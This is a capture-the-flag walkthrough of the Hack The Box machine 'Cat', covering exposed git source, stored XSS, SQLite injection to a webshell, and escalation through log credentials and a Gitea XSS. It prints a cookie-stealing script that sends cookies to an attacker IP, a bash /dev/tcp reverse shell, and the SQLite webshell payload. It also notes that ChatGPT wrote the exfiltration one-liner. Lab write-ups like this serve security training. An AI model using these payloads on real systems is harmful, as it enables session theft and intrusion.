Nmap
1 | nmap 10.10.11.53 -sC -sV |
Before I do anything, I am going to add 10.10.11.53 cat.htb
to my /etc/hosts
file. I had ran an nmap scan before the one above and it was redirecting me to http://cat.htb/
.
Upon running an nmap scan, we see ports 22 (ssh) and 80 (web server) open. Since we ran it with the default script flag -sC
, it gives us some extra information. As you can see, there is an exposed git repository in /.git
on the website.
At this point, I had already fuzzed subdomains & performed directory bruteforcing using feroxbuster. I hadn’t found any new endpoints that weren’t already in the exposed git repository except for the /uploads
endpoint. I attempted to access the /uploads
endpoint but I got a 403 Unauthorized
error.
Upon visiting the website, I clicked around all the pages to see if I found anything interesting. The home page didn’t really have anything, neither did the Vote or Winners page; both those pages had buttons but they didn’t actually do anything. When trying to visit Contest it just redirects me to the /join.php
endpoint.
I decided to go to the Join page and register an account. After registering the account I log in.
I initially assumed that the website would use PHPSESSID
for the cookie since the website’s tech stack includes php, and I was correct. When logging in, I like to check the cookie’s HttpOnly
value. The reason I do this is because if the HttpOnly
value isn’t set, that means that the cookie is possibly able to be stolen via XSS. It’s a protection put in place so that when it is set, client-side JS isn’t allowed to interact with the cookie.
After finding this, I decide to take a closer look at the source code and found a string containing blocked characters in the submission forms of the contest.php
endpoint.
1 | if ($_SERVER["REQUEST_METHOD"] == "POST") { |
I performed a recursive grep (grep -Ri
) to see if $forbidden_patterns
showed up anywhere else in the source code, and I found out it didn’t.
Given this, I assumed that ths contest.php
endpoint is the only one that had character restrictions on the submission forms. Knowing this, I tried registering on the website again but with an XSS payload as the username this time.
I went to the register.php
endpoint and registered with a payload I could use to potentially steal an admin cookie:
1 | <script>fetch('http://10.10.14.19:8000/steal?c='+encodeURIComponent(document.cookie));</script> |
I got a registration successful message.
Throughout this process, I’ve had a listener on port 8000 this whole time to check for any callbacks from the server, but nothing so far. I couldn’t think of any way to “source” this XSS payload to get a callback. I was out of options at this point and decided to throw the kitchen sink at this.
I went to the contest.php
endpoint and submitted the form to see if it would source the XSS payload in the backend, and that’s when I finally got a callback with the admin’s PHPSESSID
.
1 | python -m http.server |
After going in my browser’s storage and replacing my PHPSESSID
with the one I got from the admin, I get access to the admin.php
page on the website.
After obtaining this page & messing around with some of the features and intercepting requests in Burpsuite, I didn’t really find much. I resorted to going back to the source code & running the Snyk vulnerability scanner on it, and I found something important.
Having figured there is a SQL injection vulnerability in the /accept_cat.php
endpoint, I employed the use of SQLmap to see if it’s able to find the vulnerable parameter & perform the SQL injection.
After attempting to use SQLmap multiple times, I wasn’t able to get it to properly & efficiently dump the databases, but it was able to tell me it was the catName
parameter in the POST
request that was vulnerable. Knowing this, I decided to go onto the PayloadsAllTheThings Github repository which contains a plethora of payloads for all sorts of attacks, and tried using the SQLite Remote Code Execution payload manually.
1 | ATTACH DATABASE '/var/www/cat.htb/lol.php' AS lol; |
After messing around with this payload and finally getting it to successfuly run, I was able to get a webshell when going to /lol.php
. I tested it by running whoami
, and we can see the web server is running as www-data
.
Now that we have RCE, we can finally get a reverse shell on the target. The payload I used was bash -c 'sh -i >& /dev/tcp/10.10.14.19/4444 0>&1'
& then I URL encoded it in the request.
1 | GET /lol.php?cmd=bash+-c+'sh+-i+>%26+/dev/tcp/10.10.14.19/4444+0>%261' HTTP/1.1 |
After catching the reverse shell, I simply upgraded the TTY to make my life easier.
Recalling from when I was analyzing the source code, I had remembered seeing a database file in the config.php
file.
1 |
|
Since this file also tells me that the DMBS is sqlite, I simply ran sqlite3 /databases/cat.db
and was met with the database command prompt without requiring any authentication, which is a major security flaw. I did some basic enumeration of tables & schema in the database, and was able to find a plethora of usernames and MD5 hashes.
I took all the password hashes and put them into crackstation, and got a hit.
I performed grep
on that exact password hash on the file I saved the credentials to, and I saw that the password belongs to the rosa user. Upon looking at /etc/passwd
, I saw that rosa was a user that could have a shell on the box, so I ran su rosa
, inputted the password, and was able to successfully log in as rosa.
I decided, to get an even more stable shell, I’d ssh to the box with rosa’s credentials. After logging in, the first step I usually like to take when on the box is to run linpeas, and then sift through all the information I find & see if I find anything useful.
Upon running linpeas, I saw that rosa was part of a group called adm
, and saw that I am able to read all of the apache log files because rosa is a part of this group, so I decided to grep for “password” on all of the log files and see if I find any credentials in log files.
After doing this, I see hundreds of GET
requests from localhost in the /var/log/apache2/access.log
to join.php
, with some interesting information.
It seems I’ve finally found credentials to the axel
user, which is also an enabled user on the box, so I decide to try and log in with these credentials I found on the box.
Upon successful log in, I go to axel’s home directory, and there I find the user flag. Onto privilege escalation now.
Once logged into the axel user, I decide to do my usual manual privilege escalation checks where I run sudo -l
, check for any unusual directories I can traverse, running processes, active connections, etc. Upon listing the active connections using netstat -planet
, I see a plethora of listening ports, but one in particular piques my interest; port 3000 on localhost.
I run curl
on localhost:3000
, and I see that it says “Gitea”, which I know is a Git service that you can self-host. I’m assuming there’s going to be a repository with some source code I can look at that might contain more useful information. I ssh to the box again, port forwarding localhost port 3000 so I can access it on my web browser using ssh -L 3000:localhost:3000 axel@10.10.11.53
.
After gaining access to the website, I log in with the axel user and then the rosa user, but I do not find any source code whatsoever anywhere, so I go back to the ssh on the box as axel and run linpeas to see if I can find anything that could help me.
After running linpeas and going down numerous rabbit holes, I stumbled upon an e-mail in /var/mail/axel
that had some extra information: an endpoint containing a repository that can only be accessed by an admin.
After finding this, I didn’t know how else to progress, and after a while of being stuck, it occurred to me to look at the version of Gitea that’s being hosted: version 1.22.0
. I decided to search up any exploits that might be available for this version of Gitea, and I found one that seemed promising.
After finding that the exploit involves stored XSS, I checked the cookie on the website and it was unfortunately set to HttpOnly
, so we wouldn’t be able to steal the cookie via this exploit. However, we don’t need to steal the admin cookie. We can just perform requests on the admin’s behalf, which would allow us to view the repository we don’t have access to.
The exploit involves creating a new repository and inputting the XSS payload in the Description
field of the repository. I tested a simple alert()
payload in the description field and it worked. I employed ChatGPT to write a simple Javascript one-liner that would fetch the information from the /administrator/Employee-Management
endpoint, and POST
it back to a Python webserver I’d be running. In order for the box’s automated user to “source” this XSS however, I need to create a file in the repository and send the repository to jobert in an e-mail. In the e-mail it stated: “Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.”
1 | <a href= |
I had ChatGPT generate the above payload, and I used the directory structure of the repositories on Gitea and tried reading the contents of README.md
. In order to source the XSS however, I need to send an e-mail with the repository containing the XSS payload to jobert@localhost
, so I ran echo "http://localhost:3000/axel/foobar | sendmail jobert@localhost
on the box, and I got the callback from the page with the below content:
This most likely means that the README.md
doesn’t exist, so I tried running the same payload, but this time I tried getting the contents of index.php
instead, and I got this:
This contained the credentials for the admin user. I tried the credentials on the Gitea page, but they didn’t work, so I then tried the credentials on root on the box, and I successfully logged in as root and got the flag.